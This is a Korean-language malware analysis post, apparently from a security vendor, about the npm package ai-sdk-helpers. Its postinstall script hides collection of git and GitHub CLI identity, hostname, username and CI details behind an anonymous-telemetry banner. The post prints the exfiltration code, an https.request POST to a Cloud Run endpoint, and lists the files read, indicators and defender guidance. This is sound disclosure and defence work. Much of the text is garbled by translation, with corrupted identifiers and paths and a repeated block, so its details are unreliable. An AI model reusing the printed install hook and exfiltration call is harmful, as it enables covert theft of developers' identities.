ConsentMask는 개발자 신원 정보 수집을 숨기는 npm 패키지입니다.

ConsentMask: 개발자 신원 정보 수집 위에 원격 측정 동의 배너를 표시하는 npm 패키지

TL; DR

하나의 npm 패키지, AI SDK 헬퍼Vercel AI SDK용 프로덕션 툴킷으로, 비용 추적, 공급자 대체 및 스트리밍 도우미 기능을 제공합니다.

설치 스크립트는 세련된 고지 배너로 시작하며 다음과 같은 내용을 설명합니다. 익명 진단소스 코드, 토큰 또는 자격 증명이 전송되지 않을 것을 약속하며, DO_NOT_TRACK 수신 거부 옵션과 원격 측정 정책 페이지 링크를 제공합니다.

같은 스크립트가 개발자의 Git ID, GitHub CLI 구성, 머신 호스트 이름, OS 사용자 이름, 작업 디렉터리 및 CI 공급자를 읽습니다.

해당 데이터는 JSON 형식으로 Google Cloud Run 엔드포인트로 POST되는데, 이로 인해 명시된 원격 측정 정책과 실제로 수집되는 필드 간에 명백한 불일치가 발생합니다.

해당 패키지는 83초라는 짧은 시간 동안 22개의 버전으로 배포되었으며, 설치 스크립트는 모든 버전에서 바이트 단위로 완전히 동일합니다.

저희가 검토한 8개 버전 중 7개 버전 pipeline 동의 배너 스타일이 합법적인 원격 측정 데이터처럼 보이기 때문에 머신러닝 분류기는 이를 불확실하다고 평가했습니다.

우리는 분류합니다 ai-sdk-helpers 설치 시 개발자 신원 정보 수집 및 데이터 유출을 근거로 악성 프로그램으로 판단합니다.

심각도: 높음.

 설치 과정 분석

{
  "scripts": {
    "postinstall": "node scripts/postinstall.js"
  }
}

설치 후 자동으로 실행됩니다 npm 설치패키지에 포함된 코드가 가져오기되기 전에 실행되는 스크립트입니다. scripts/postinstall.js 설치 시 발생하는 모든 동작이 이루어지는 곳입니다.

이 코드는 개인정보 보호를 중시하는 오픈소스 프로젝트의 등록부에 작성된 주석 블록과 런타임 알림으로 시작됩니다.

ai-sdk-helpers를 설치하면 환경 호환성 검사를 빠르게 실행하고 익명 진단 정보를 보고합니다. 데이터는 완전히 익명으로 처리되며, 사용자의 플랫폼, Node 버전, 그리고 머신 식별자의 단방향 해시값만 수집합니다. 소스 코드, 토큰 또는 자격 증명은 절대 전송되지 않습니다.

심지어 작동하는 옵트아웃 게이트까지 연결하는데, 이는 파일의 첫 번째 실행 코드입니다.

if (
  process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
  process.env.DO_NOT_TRACK === "1"
) {
  process.exit(0);
}

먼저 이 게이트를 묶는 것이 나머지 부분이 합의에 의한 것으로 읽히게 만드는 이유입니다. 즉, 개발자가 설정하는 것입니다. `D_추적하지 않음` 설치가 조용히 완료되고 패키지가 규칙을 준수한다는 결론이 나옵니다. 해당 거부 옵션은 실제로 적용됩니다. 이 옵션을 설정하지 않은 모든 사용자에게 적용되는 제한 사항은 아래에 설명된 데이터 수집이며, 공지에서 언급된 "플랫폼, Node 버전 및 단방향 해시"와 같은 더 세부적인 정보가 아닙니다.

해당 게이트 아래에서 스크립트는 그 설명보다 훨씬 더 강력한 페이로드를 구성합니다.

  • *Gt 신원.* r해결ScmIdentity()` 머리 `~`.gitconfig`,`~`.config/git/config`,그리고 현재 프로젝트의 `.it/config`,`[를 구문 분석합니다.ser]` 해당 섹션을 지정하고 구성된 값을 반환합니다. commit 이메일. 설정 파일에서 이메일을 찾을 수 없는 경우 `G`를 사용합니다.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,그리고 `EAIL` 환경 변수. 함수 위의 독스트링은 해당 함수를 "동일한 사람이 소유한 여러 기기(예: 노트북 + CI)에서 중복 설치를 제거하는 방법"으로 설명합니다. 이러한 목적을 달성하려면 개발자별로 안정적인 식별자가 필요합니다. commit 이메일 용품.
  • *GtHub 계정.* rsolveGitHubIdentity()` 머리 `~.config/gh/hosts.yml` 그리고 `~.config/gh/hosts.yaml` 개발자가 인증할 때 GitHub CLI가 작성하는 구성 파일 — 그리고 정규 표현식을 사용하여 `u`를 추출합니다.어:` 그리고 `e병:` 해당 파일에는 GitHub OAuth 토큰도 저장되어 있습니다. 스크립트의 정규식은 사용자 이름과 이메일 줄만 대상으로 하며 토큰은 추출하지 않습니다. 따라서 고지 배너의 "토큰은 절대 전송되지 않습니다"라는 문구는 해당 필드에 대해서만 사실이며, 주변의 계정 식별자는 읽어서 전송됩니다.
  • *Hst 및 CI 지문.* 그다음 스크립트는 `o`를 수집합니다.`.hostname()`,`o`.userInfo().username`,Node 버전, 플랫폼 및 아키텍처, `pocess.cwd()`,CI 공급자 레이블은 8개의 공급자(GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite 및 두 개의 일반 CI 플래그)에 대한 환경 변수를 확인하여 결정됩니다. 공급자 목록은 스크립트가 실행될 것으로 예상되는 위치(대화형 셸 및 자동 빌드)에 대한 목록입니다. pipeline비슷합니다.

이 모든 것들이 하나의 'd'로 그룹화됩니다.불가지론자 bject는 개발자별 필드가 `i` 아래에 수집됩니다.엔티티` ey와 `r` 아래의 호스트 데이터ntime` nd `cntext` 그런 다음 직렬화되어 전송됩니다.

const req = https.request(
  {
    hostname: "npm-package-logger-228835561205.europe-west1.run.app",
    path: "/",
    method: "POST",
    headers: { "Content-Type": "application/json" },
    timeout: 5000,
  },
  () => {}
);

req.on("error", () => {});
req.write(body);
req.end();

응답은 무시되고 모든 오류는 묵살됩니다. "원격 측정은 절대 설치를 중단시켜서는 안 된다"는 주석이 달려 있습니다. 엔드포인트 호스트 이름은 `e`에 Google Cloud Run 서비스를 인코딩합니다.로프-웨스트1` 지역.

이 공백이 바로 이야기의 핵심입니다. 배너에는 플랫폼, Node 버전, 머신 식별자 해시라는 세 가지 데이터 범주가 명시되어 있습니다. 페이로드에는 개발자의 실제 Git 계정 정보가 전송됩니다. commit 이메일, GitHub 사용자 이름 및 이메일, 머신 호스트 이름 및 OS 계정 이름, 프로젝트 경로, CI 환경. *p를 식별하는 필드는 다음과 같습니다.개인과 그들의 계정* 정확히 어떤 분야들이 공개 자료에서 누락되었는지 알려주세요.

README 파일은 반대편의 관점을 강화합니다. "텔레메트리" 섹션에서는 익명성 주장을 반복하고 'D'라는 단어를 링크합니다._추적하지 않음` 오 `cnsoledonottrack.com`,개인정보 보호 관행을 차용하여 거부 의사를 문서화한 실제 커뮤니티 페이지 standard 공지사항이 일상적인 것처럼 보이도록 하기 위해서입니다.

연혁

이는 배포 이력이 매우 짧고 밀도 높은 단일 패키지 발견 사례입니다. 여러 주에 걸친 캠페인 진행 상황을 추적할 수 없으며, 전체 버전 범위가 기계 속도로 배포되었습니다.

언제 (UTC)이벤트
2026-06-03 20:31:20 첫 번째 버전 (0.1.0) npm에 게시되었습니다.
2026-06-03 20:31:20 – 20:32:43 총 22개 버전 (0.1.0 을 통하여 1.4.2) 83초 동안 자동 촬영 방식으로 게시되었습니다.
2026-06-04 탐지 신호에 의해 8개 버전이 플래그 처리되었으며, 수동 분석 결과 설치 시점에 신원 정보 수집 및 유출이 확인되었습니다. 분석 당시 해당 패키지는 npm에서 여전히 활성 상태였습니다.

22개의 의미 버전에 걸친 83초의 창 자체는 행동적 지표입니다: 버전 사다리(`01.0`,`01.1`,… `14.2`)이 스크립트는 한 번의 실행으로 생성된 릴리스 기록이 포함된 활발하게 유지 관리되는 프로젝트의 표면적인 모습을 보여줍니다. 설치 스크립트는 해당 단계별로 변경되지 않습니다. 자세한 내용은 아래를 참조하십시오.

타협의 지표

설치 시 페이로드는 게시된 버전 범위 전체에서 동일합니다.ff` f `sripts/postinstall.js` 버전 '0 사이2.1` nd 버전 `14.2` 차이점을 반환하지 않습니다. 동작은 진화하는 페이로드가 아니라 고정된 하나의 지문과 같습니다.

네트워크

22개의 의미 버전에 걸친 83초의 창 자체는 행동적 지표입니다: 버전 사다리(`01.0`,`01.1`,… `14.2`)이 스크립트는 한 번의 실행으로 생성된 릴리스 기록이 포함된 활발하게 유지 관리되는 프로젝트의 표면적인 모습을 보여줍니다. 설치 스크립트는 해당 단계별로 변경되지 않습니다. 자세한 내용은 아래를 참조하십시오.

타협의 지표

설치 시 페이로드는 게시된 버전 범위 전체에서 동일합니다.ff` f `sripts/postinstall.js` 버전 '0 사이2.1` nd 버전 `14.2` 차이점을 반환하지 않습니다. 동작은 진화하는 페이로드가 아니라 고정된 하나의 지문과 같습니다.

네트워크

지시자직위별
npm-package-logger-228835561205.europe-west1.run.app JSON 페이로드를 포함하는 HTTPS POST 요청을 수신하는 데이터 유출 엔드포인트입니다. Google Cloud Run에 호스팅되어 있습니다. europe-west1 부위.

미끼 인프라

지시자직위별
ai-sdk.guide 패키지 홈페이지 및 "AI SDK 가이드" 작성자 정보를 보여주는 실제 웹사이트입니다.
ai-sdk.guide/telemetry 설치 시 고지 사항에 참조된 원격 측정 정책 URL입니다.
hello@ai-sdk.guide 저자의 이메일 주소가 명시되어 있습니다. package.json.
github.com/ai-sdk-guide/ai-sdk-helpers 패키지에서 선언한 소스 저장소입니다.

설치 시 읽히는 파일

  • -`.gitconfig`,`~`.config/git/config`,`<wd>/.git/config` git `[ser]` 우편
  • - `.config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `u어` `e

행동 서명

  • – m `pstinstall` 번들로 제공되는 Node 스크립트를 호출하는 방법
  • – 옵트아웃 게이트(`A)`_SDK_HELPERS_TELEMETRY_DISABLED`,`D_추적하지 않음`)개인정보 수집에 앞서 개인정보 보호 기능으로 제시됨
  • - git 이메일, GitHub ID, 호스트 이름, OS 사용자 이름, 현재 작업 디렉토리(cwd) 및 CI 레이블이 포함된 JSON 객체를 tbound HTTPS POST로 전송합니다.
  • - 빠르게 출시되는 버전 전반에 걸쳐 동일한 설치 스크립트

 귀인 및 관찰된 행동
우리는 패키지 및 레지스트리 메타데이터에 기록된 내용 외에는 어떠한 정보도 제공하지 않습니다.

npm의 공식 관리자는 `a` 계정입니다.일시몬`,주소 `a`와 함께iel@vigilance.security`.레지스트리에는 해당 이메일이 미확인 상태로 표시되고 계정의 소스 제어 ID도 미확인 상태로 표시됩니다. `pckage.json`,별도로, 저자를 "AI SDK 가이드"로 소개합니다.ello@ai-sdk.guide>`”홈페이지 주소가 `a`인-sdk.guide` `g` 아래에 소스 저장소가 있습니다.`thub.com/ai-sdk-guide` 조직. 게시 계정의 이메일 도메인(`vigilance.security`)그리고 패키지 내 작성자 ID(`a-sdk.guide`)서로 다른 영역입니다.

`a`-sdk.guide` 해당 사이트는 활성화되어 있고 응답하며, `/측정 ath resolves — 미끼 계정은 끊어진 링크가 아닌 접속 가능한 웹 사이트를 기반으로 하므로 패키지의 구성에 대한 신뢰도가 높아집니다.

**관찰된 기능.** 설치 시, 패키지는 개발자 ID 및 계정 구성 파일을 읽고, 호스트 및 CI 환경의 지문을 추출한 후, 결과를 운영자가 제어하는 ​​엔드포인트로 전송합니다. 이 과정에서 더 제한적이고 익명화된 데이터 세트를 사용한다는 안내 메시지가 표시됩니다. 본 문서에서는 이러한 동작을 설명할 뿐, 그 동기에 대해서는 주장하지 않습니다. 패키지를 평가하는 모든 사용자(게시자의 신원을 알고 있는 사용자 포함)는 명시된 데이터 흐름과 실제 데이터 흐름 간의 불일치를 고려해야 합니다.

수비수들을 위한 영향, 동향 및 지침

누가 노출되는가. 설치하는 사람 누구나 AI SDK 헬퍼 — 직접적으로든 간접적으로든 — 해당 머신에서 컬렉션을 실행합니다. 트리거는 다음과 같습니다. 설치 후광고된 라이브러리 코드는 데이터 흐름을 위해 가져올 필요가 전혀 없으며, 설치만으로 충분합니다. 가장 가치 있는 환경은 Git ID가 구성되고 GitHub CLI가 인증된 개발자 워크스테이션과 CI 실행 환경입니다. CI 실행 환경에서는 스크립트의 CI 공급자 감지 기능을 통해 해당 데이터 수집이 빌드 프로세스 내에서 실행될 것으로 예상됩니다. pipeline스마트폰뿐 아니라 노트북에서도 마찬가지입니다.

그것이 드러내는 것. 일반적인 경우 애플리케이션 비밀 키가 아니라, 페이로드의 핵심은 다음과 같습니다. 정체: 개발자의 commit 이메일 주소, GitHub 계정 이름과 이메일 주소, 컴퓨터 및 계정 이름, 그리고 프로젝트 경로가 필요합니다. 이는 사전 정보입니다.cis이 맵은 누가 어떤 머신에서 어떤 저장소에 어떤 CI 시스템을 사용하여 패키지를 설치했는지 보여줍니다. 조직의 경우, 이러한 기록 몇 개를 종합하면 어떤 엔지니어와 어떤 빌드 시스템이 해당 종속성을 가져왔는지 파악할 수 있습니다. 이는 해당 패키지의 동작이 수집 및 전송에서 끝나더라도, 보다 구체적인 후속 조치를 위한 사전 단계로 유용하게 활용될 수 있습니다.

최근 추세는 원격 측정 데이터를 은폐 수단으로 사용하는 것입니다. 합법적인 개발자 도구는 익명화된 설치 진단 정보를 수집하며, 이를 존중하는 방식으로 수행하기 위한 관례(공개 고지, 추적 금지 명예, 거부 표시, 정책 URL 등은 잘 알려져 있습니다. AI SDK 헬퍼 이 프로그램은 앞서 언급한 네 가지 관례를 모두 충실하게 재현하고 이를 신원 정보 수집을 위한 래퍼로 사용합니다. 동의 배너, 제대로 작동하는 옵트아웃 기능, 또는 개인정보처리방침 링크가 있다고 해서 해당 패키지가 신뢰할 만하다고 할 수는 없습니다. 이러한 제어 요소들은 모방하기에 비용이 저렴하기 때문입니다. 유일하게 신뢰할 수 있는 검증 방법은 코드가 실제로 무엇을 읽고 어디로 전송하는지 확인하는 것입니다.

이러한 패키징은 자동화된 분류에도 상당한 영향을 미칩니다. 여러 버전에 걸쳐 저희 제품은 pipeline 검토 결과, 설치 스크립트의 평이한 언어 주석, 구조화된 필드 이름 및 일반적인 수신 거부 절차는 일반적인 원격 측정으로 평가되었습니다. 8개 항목 중 7개가 정상으로 판정되었습니다. 결정적 악의적인 의도가 아니라 ML 분류기의 판단에 따른 것입니다. 모호함을 해소하는 신호는 문장 자체에 있는 것이 아니라 스크립트가 여는 특정 파일에 있습니다.~ / .gitconfig, ~/.config/gh/hosts.yml) 그리고 그것이 전송되는 목적지를 알아야 합니다. 자동화된 검토자든 사람이든 공개된 정보를 읽고 거기서 멈춘다면 잘못된 결론에 도달할 것입니다. 판단은 데이터 흐름에 대한 사실을 바탕으로 이루어져야 합니다.

수비수들을 위한 지침:

  • 스크립트 기능이 기본적으로 비활성화된 상태로 설치하세요 — npm install –ignore-scripts, 또는 설정 스크립트 무시=true in .npmrc 검증된 빌드 단계를 명시적으로 실행합니다. 이렇게 하면 문제가 해결됩니다. 설치 후-전반적으로 트리거된 수집.
  • 거부 제어 기능을 신뢰 신호로 간주하지 마십시오. 추적 금지 확인란이나 "원격 측정 정책" 링크는 게이트가 설정되지 않았을 때 스크립트가 수집하는 데이터에 대해 아무것도 알려주지 않습니다.
  • AI 생태계 도우미 패키지를 도입하기 전에 설치 후크를 읽어보세요. Vercel AI SDK 환경은 빠르게 변화하고 신뢰도가 높은 대상입니다. 설치 후 만지는 것 ~ / .gitconfig or ~/.config/gh/ 주변 댓글이 어떻게 쓰여 있든 상관없이 이는 분명한 신호입니다.
  • 빌드 시간 동안의 송신을 모니터링합니다. 빌드 중에 외부로 나가는 HTTPS POST 요청이 있습니다. npm 설치특히 새로 프로비저닝된 클라우드 함수 엔드포인트에 대한 이러한 활동은 네트워크 계층에서 관찰 가능하며 CI 환경에서 강력한 탐지 지점이 됩니다.
  • 압축된 버전 목록을 주의 깊게 살펴보세요. 설치 스크립트가 변경되지 않고 전체 시맨틱 버전 기록이 몇 초 만에 표시되는 패키지는 조작된 유지 관리 기록을 보여주는 것입니다.
sca-tools-software-composition-analysis-tools
소프트웨어 위험을 우선순위화하고, 해결하고, 보호하십시오.
무료 계정을 만드세요.
신용 카드가 필요하지 않습니다.

소프트웨어 개발 및 제공을 안전하게 보호하세요

Xygeni 제품군과 함께